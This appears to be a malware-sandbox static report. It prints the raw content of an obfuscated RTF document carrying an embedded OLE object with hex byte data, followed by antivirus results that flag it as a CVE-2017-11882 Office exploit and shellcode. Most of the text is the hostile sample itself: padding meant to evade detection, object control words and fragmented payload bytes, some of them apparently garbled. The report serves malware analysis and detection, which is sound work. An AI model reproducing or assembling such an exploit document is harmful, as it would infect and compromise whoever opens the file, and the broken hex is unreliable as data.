Static | ZeroBOX
{\rtf1
{\*\colorshememapping763407523 \,}
{\5089222748$?#-9
:%9%,?;;2],
?#[_,&<!#31!54=45,=
`,5:9)<`5%%2.
!;7>.|,$1@:2;?8|[9-3'
-4`86753/__,|
:$;7`:2)?2
-8#:#&??:6_=*?:0/
7??+@_9]]%@4]@7`>%#?63'!@0~1/???~.6[@~9_|
=:4??3<7@-+[]?
(]$|?%45?4/$]/2@,]5@7<_5[]%^):(._0?`46^<2^];]/|*4#8!<[]33
<-#41@'2`3_%43>;6^(#0@/5>?%>=]4$0:,%?`,&*
?<6?];*1'^.
<*@%'-2%!^:)??&<$,??*_@%
8@`'%(
&_=];*>;0]6*.=,;-1`-+9#??[+-,7-_*:2%`7325%'
84?<.)'/|_$?];)'~9
6$|1.?8,:+$`|^356%.,^*75!@/:_9>???379&
!:90`6]
)3?2@:#3!<'1()<
=?2]_`;~['?-)|+?#&)[$8
[%_3+4&?~[$,>?1^.?15`
04+7,?:-3|)?!26&^4=?^%5*+~]~*?*5,['6$]&@_8,-$=9(:4%`[>?]-
%,.?0*1
894:8!84?#`(%1@:!?!;6
5,[:@!&
,9!|?1
?[.?>=&<6/0>0?'0?$$0!(-/'
6[]^|&%6-?,
/?[?[#7581_
^0%8;7:
6%?8|,?
?;0~`?_13?
%?=4>*%@3,41@
?;&%?0=#]!
-4@`;;,?=3,?
;!(`*)>8,7
<^??!'#)~)
9@=/+/&-&:]
36`??23`.6
?*:|?*#%5'>$
]?12?-,3_!~_
<02%0_0(67,[:22?71_4
19?=-|%6`*)00=;8=:_/8$,?>]+|+)$>^!1%)8?&2`
_+3)###&~,)/<77!4@,2&1?
:69_=[%4%:]>(^2^+/%=*]7*$?.]6'::
;/8%?8/$?=@5'?'9[)@-~|2?^@01!(~%:;?>`|+?)%/,?
%?;7=?^[&%0(0@%5<*|2=9?#?4?8@=~9,<_/$3!$
!$!&&4??+:%*371?|;())7//:568'$8(6>``?
:**?$^
?']%3;91][8?$9=%%&)7
[<??',]%4:@
'44?&0^%<<<?_+$
~&??'%9';%;9_
6!!'2|+^$;<:?%!?]^?'6?#|-@.7@$)73,7|?|,-%?-]@`:=&==]--;_?5#7),@&33:+
>11|$4+'.~,33;?@/=@:
/%*?:*(%,2]-`.2>$`_@/?@>1]]2%]%|^`?!?64!,]
>)3:1/`
?2?-/=0=+(~(%_|/;6+0;|,%[!93*8]
8`6,|&.<~%?3]?2<-,@9>0>`,.:$|4<?@?6?,8$1[!#?
0/?*|????5,@3>7*9($@???.
#'2*@#9_;??@%4
~#`8,^];4(?>~$
=!?:<2+
8-*#@,
@7;)`.!3|~?1.#*'>~
?6_9:)?[0!%7[?6*%8-+#[-`&7@*+?*6$??4(;'$.!1$%19`?~=?)>&?%<%%^-:?:?=4$^8%:_?[
6-:0?/>&6~?(>&;453$`4??_)32(>
'1?[49
':#~8'>@,?<55=.?6~#?_
?+-?%1_7[~'00)
8.2:^1$[#(
?2%8?|?/40%47]1|>2%
1!?;4_+,%/3(@?
?#8_?)?6&9?~:231
;374=>
-)3$=)<&@=(=%41~`&,]
24]'7?>?]$&4?7?.+5$?`'*%:)#?&52>$?4
+]+?>?_=~$8#;]213
5)||`?%555>]@,~]9??@2:3/||'8]3`-3
!'||%2,;:+.^
8`?>2?:_%@~55#>?%;(?
9#+)57]0>_5`+*+*;?_$0)/<;
02'^5-(1?'3:]~
3;->@&/*$~6-[6+?
'?9$[|*'&;_3/?.19_<?)56_@%$*>?99~7$(%!?+`>;$$.'%+;`[):&8&?|%_?
~[$???
-8%15/*#)
?=][$]%
9<&+$./:'!8
;3%6)>9;6+24?_~013,
9?!=]:
??/,?!12.
?-25%??8%)./-13?!&:47<@<6?>_]-$~(|)>7^.++~6:;&^
[<<)_+;7??-0(
_;8!!?^!..=)9<>+;
&3?!']??%9>='
:^`<?9]']?&.
6&54<9-&?=9/[/]???*>72;`?
;@%6?5;304
6.-%82'![,_<
,[-6.#~/&
.?~)%]`,!/)-!
'-7|3?>'-8?$?%?/&?30?5!?*.
,!!??/?.#@#21?>(2+`~@?6/2`:
\object98816320\objhtml76287445\objw949\objh8864{\|\objupdate75266687526668\*\objdata791851{\*\astrike67380841 \bin0000\231249924428678329}
{\*\rtlrun699909503 \bin0\181268687216195281}
\ksulang43920820536\dghspace8756641619\'
{\object\dgzbsxxufOBZTWXLTBSTRDPHRIHJGPAYTQKOWP1424839072770084925228240803766dgzbsxxufOBZTWXLTBSTRDPHRIHJGPAYTQKOWP32725330652798{\clbzvnkjnhscvavwdmUYPOSCQGL99041072376204320509309clbzvnkjnhscvavwdmUYPOSCQGL1843480780522353}}0f
\bin00000
01100000
93
9526f
90000000000
00000
00
00
ff
fff
0000
0
ff
fffffff
fff
ffffff
ff
fffff
ff
f
f
f
ffff
fff
fff
ff
ff
ffff
ffff
ffffffff
fffff
fffffff
fffffff
fffff
ffffff
ffffffff
f
fffff
fffffff
fff
fff
ffffff
fff
fff
ff
fffff
ffffff
fffff
ffff
fff
fff
f
fff
ffffff
fff
f
ffffff
fffff
fffff
fffffff
fff
fffffff
fffffff
f
ffff
fff
fffff
fffff
ffff
ffffef
0000600
fffff
ffffff
ffffff
ffff
fff
fffffff
ffffff
fffffffff
f
fff
fffffff
ffffffff
fffff
ff
f
fffffffff
fffff
ffffff
ffff
fff
ff
ffff
ff
ff
fff
f
ffffff
ff
ff
fff
ff
ff
ff
ff
fff
ffffff
ff
f
f
f
fff
ff
ff
ff
ffffff
fffffff
fffff
f
ffff
fffff
fffff
f
f
ff
fff
fffff
fff
ffffff
740020
0
000000
000000
00
0000
000160005
0fffff
fff
ffffffff
000c
000000
177da5
70000
071
00550061
69005
6
00000
000000
0000000
ffffff
000000
000000
00
0
000000
000000
00000000000
fffff
000
000000
000
000
0000
0000000
0000
00000000
0000
000000000
0
0
00
00000000
00
0
0000000
001
00400000
0
0700
0009
00000c
00
140000
1
000000
0fefffff
ffffffff
f
ffff
ffff
ffffff
fffffff
ffff
fff
fffff
ffffff
ffff
fff
fffffff
fff
f
fffff
ffffff
f
ffffffff
fffff
fffff
fff
fffff
ff
f
ffffff
ffffffff
fffff
ffffff
ffff
ffff
ffff
fffff
ffffff
fffff
ffff
ffff
fffff
ff
fffffff
fff
ffffff
f
ffff
fffff
8169e
4a01082
e
781c5
f6f6f8
8b1bbf9
b4ff205
8d39
2623443f
5a9
43646
98dbf06
6669f70
0fc1a568
12
de
cd10
3e
8
049f1
a2fbd8b
c1e
f535cf3
cabd
82594
7043e
bc054
ffa0fc
63dfbb
de
f080c0
2365
baf
ee
4c90
fab
b
0c3f
6
d4c
01
51aeaa
09d01
f
6463
d8462
8c59c729e2
60b9003
52a2b22ec7
d62d16
1
38
d
9f201
98
5be9
449000
00
ef401700
000
b07c1
d2
601
0
13
23e000
5a9d
0000e9670
e98e01000
0eb2
5b760
c5c00005
fffe
e90d01
b5e9ce
b062
005f9d
e9d
bfe
8a00000
0eb715
00
9c2
2de96ffef
ffeb8de978
ffffff
505
7fc2b0
0008d802a
69115
ebb890
1e907ff
4eb05b449
6d311
ff38d
9cbc744
2b630d1a
4cb5c7e
b558
8469ab
85852b8f97
bff1687b
8fc9e
d06
6077413c
6
f1
663538
20f673d2
aad
adf4
e40c0
db4fedaf
f
6146
94ae4a6d
72
1cb5eba
0860cb
070b41
3
7d6
e6c6671
9d4
578
d78803e
f
78a7fb855
703d958
c8
7684f5
b0c
1e
5a3
8c36
8
11de
594a3
815
d730d
7407b0
b04306
536
1686
8bf8b64e
d98b213d
c4f0
b5db3daa
328b1be
000000
0000
000000
000
0000000
00000
000000
00000000
0000
00
0000000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.lx
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.8d852815
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Scr.Malcode!gen3
ESET-NOD32 Win32/Exploit.CVE-2017-11882.BLZ
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVA.CVE.kiiwa
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira EXP/AVA.CVE.kiiwa
MAX malware (ai score=89)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Win32/Znyonm
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!086511C02679
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.A!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
No IRMA results available.